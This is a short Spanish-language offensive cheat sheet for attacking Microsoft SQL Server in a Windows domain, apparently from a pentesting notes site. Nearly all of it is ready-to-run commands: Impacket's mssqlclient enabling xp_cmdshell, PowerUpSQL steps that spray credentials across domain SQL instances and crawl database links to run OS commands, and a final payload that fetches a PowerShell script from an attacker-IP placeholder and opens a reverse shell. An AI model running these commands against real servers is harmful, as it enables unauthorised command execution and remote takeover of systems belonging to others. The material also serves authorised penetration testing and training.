Microsoft SQL Server (MSSQL)

Linux/Unix

Impacket

# impacket-mssqlclient
mssqlclient.py <ACME.LOCAL>/<user>:"<password>"@<target> -windows-auth
enable_xp_cmdshell
xp_cmdshell whoami

Windows

PowerUpSQL

Descubrir instancias de SQL Server.

Get-SQLInstanceDomain

Obtener información de instancias de SQL Server.

Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

Comprobar acceso a instancias de SQL Server dado un usuario y contraseña.

$SQLInstances = Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 -Username "<ACME.LOCAL>\<user>" -Password "<password>" | Where-Object {$_.Status -like "Accessible"}
$SQLInstances

Comprobar acceso a instancias de SQL Server utilizando la cuenta de usuario actual.

$SQLInstances = Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 | Where-Object {$_.Status -like "Accessible"}
$SQLInstances

Ejecución de consultas SQL.

Get-SQLQuery -Verbose -Instance "<target>,<port>" -Query "SELECT @@version"
Get-SQLQuery -Verbose -Instance "<target>,<port>" -Username "<ACME.LOCAL>\<user>" -Password "<password>" -Query "SELECT @@version"

Obtener links de bases de datos.

Get-SQLServerLink -Instance "<Instance>" -Verbose

Rastrear links de bases de datos.

Get-SQLServerLinkCrawl -Instance "<Instance>" -Verbose

Ejecución de comandos utilizando links de bases de datos.

Get-SQLServerLinkCrawl -Instance "<Instance>" -Query "exec master..xp_cmdshell 'hostname & whoami'"

Reverse shell utilizando links de bases de datos.

# Powercat
powercat -l -v -p <listen-port>
# PowerUpSQL
Get-SQLServerLinkCrawl -Instance "<Instance>" -Query "exec master..xp_cmdshell 'powershell.exe IEX (iwr http://<attacker-IP-address>:80/Invoke-PowerShellTcp.ps1 -UseBasicParsing); Invoke-PowerShellTcp -Reverse -IPAddress <attacker-IP-address> -Port <listen-port>'"

Última actualización